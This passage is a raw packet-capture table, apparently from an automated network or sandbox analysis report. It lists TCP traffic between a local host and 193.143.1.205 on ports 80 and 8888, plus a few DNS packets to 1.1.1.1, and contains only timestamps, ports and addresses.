Jan 11, 2025 09:21:32.664547920 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.664561033 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664586067 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.664608002 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.664895058 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664907932 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664918900 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664932013 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664946079 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.664974928 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.665030003 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665163994 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665174961 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665185928 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665196896 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665204048 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.665215015 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665222883 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.665235043 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665247917 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665257931 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.665260077 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665272951 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665283918 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665287018 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.665297985 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665308952 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665316105 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.665321112 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665333033 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665337086 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.665345907 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665358067 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665361881 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.665373087 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.665383101 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.665419102 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.666098118 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666110039 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666121960 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666132927 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666142941 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666147947 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666153908 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666161060 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.666162014 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666172981 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.666178942 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666196108 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666207075 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666208982 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.666219950 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666230917 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666243076 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666244984 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.666254044 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666265965 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666274071 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.666277885 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666290998 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666309118 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.666327000 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.666981936 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.666995049 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.667006016 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.667018890 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.667030096 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.667042017 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.667047977 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.667053938 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.667066097 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.667082071 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.670284986 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.685678959 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.685692072 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.685704947 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.685741901 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.685779095 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.685832024 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.685842991 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.685856104 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.685867071 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.685878038 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.685883999 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.685900927 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.685965061 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.685976982 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.685998917 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.686002016 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.686043978 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.732486010 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.732544899 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.732599020 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.732608080 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.732639074 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.732685089 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.732686996 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.732724905 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.732777119 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.732783079 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.732812881 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.732861042 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.732862949 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.732896090 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.732930899 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.732942104 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.732960939 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.732975960 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.733000994 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.733005047 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.733016968 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.733032942 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.733042955 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.733055115 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.733064890 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.733083963 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.733108044 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.733141899 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.733153105 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.733164072 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.733176947 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.733189106 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.733202934 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.733221054 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.750478983 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.750533104 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.750544071 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.750571966 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.750597954 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.750627995 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.750710964 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.750725031 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.750739098 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.750747919 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.750796080 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.750886917 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.750899076 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.750911951 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.750925064 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.750935078 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.750937939 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.750972033 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.751127958 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751141071 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751152992 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751163960 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751176119 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751178980 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.751189947 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751219988 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.751349926 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751362085 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751384020 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.751384020 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.751583099 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751595020 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751607895 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751620054 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751632929 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751641035 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.751646996 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751661062 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.751665115 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751678944 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751691103 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751691103 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.751702070 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.751703978 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751739025 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.751916885 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.751966953 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.752002001 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752105951 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752118111 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752130032 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752135992 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752141953 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752152920 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752163887 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.752165079 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752182007 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752196074 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.752218008 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.752424002 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752435923 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752469063 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.752499104 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752511024 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752521992 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752532959 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752547026 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752559900 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752571106 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752578020 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.752578020 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.752583027 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.752593040 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.752612114 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.753144979 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753155947 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753166914 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753176928 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753187895 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753199100 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753204107 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.753210068 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753221035 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753227949 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.753232956 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753243923 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753257036 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753266096 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.753267050 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753278971 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753295898 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753314018 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753324032 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753335953 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753343105 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.753365993 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.753365993 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.753365993 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.753365993 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.753402948 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.754023075 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754034996 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754046917 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754057884 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754069090 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754076004 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.754081011 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754093885 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754103899 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754112959 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.754116058 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754131079 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754142046 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754153013 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754160881 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.754164934 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754178047 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754184961 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.754192114 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754204035 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754205942 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.754218102 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.754231930 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.754271030 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.763216972 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.766768932 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.770452023 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.770469904 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.770483971 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.770523071 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.770582914 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.770593882 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.770606041 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.770617008 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.770627022 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.770656109 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.770741940 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.770755053 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.770786047 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.819866896 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.819890976 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.819901943 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.819941044 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.819979906 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.819982052 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.819993019 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820005894 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820036888 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.820127964 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820141077 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820168018 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.820240974 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820269108 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820278883 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.820278883 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820313931 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.820353031 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820364952 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820404053 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.820475101 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820487022 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820498943 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820548058 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.820631027 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820643902 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820655107 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820667982 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.820703030 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.820744991 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820756912 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820801973 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.820844889 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820857048 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.820898056 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.838059902 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.838073015 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.838084936 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.838139057 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.838187933 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.838200092 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.838212013 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.838222980 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.838227987 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.838251114 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.838342905 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.838357925 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.838368893 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.838381052 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.838382006 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.838398933 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.838407993 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.838450909 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.838521004 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.838532925 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.838570118 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:33.020543098 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:33.291070938 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:33.742120028 CET	49771	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:33.948692083 CET	8888	49771	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:33.948785067 CET	49771	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:33.951854944 CET	49771	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:33.956614971 CET	8888	49771	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:34.775996923 CET	8888	49771	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:34.823035002 CET	49771	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:36.817312002 CET	49771	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 09:23:36.890810013 CET	64904	53	192.168.2.9	1.1.1.1
Jan 11, 2025 09:23:36.896223068 CET	53	64904	1.1.1.1	192.168.2.9
Jan 11, 2025 09:23:36.896317959 CET	64904	53	192.168.2.9	1.1.1.1
Jan 11, 2025 09:23:36.896349907 CET	64904	53	192.168.2.9	1.1.1.1
Jan 11, 2025 09:23:36.901727915 CET	53	64904	1.1.1.1	192.168.2.9
Jan 11, 2025 09:23:37.341162920 CET	53	64904	1.1.1.1	192.168.2.9
Jan 11, 2025 09:23:37.341499090 CET	64904	53	192.168.2.9	1.1.1.1
Jan 11, 2025 09:23:37.346582890 CET	53	64904	1.1.1.1	192.168.2.9
Jan 11, 2025 09:23:37.346695900 CET	64904	53	192.168.2.9	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:21:41.792912006 CET	50817	53	192.168.2.9	1.1.1.1
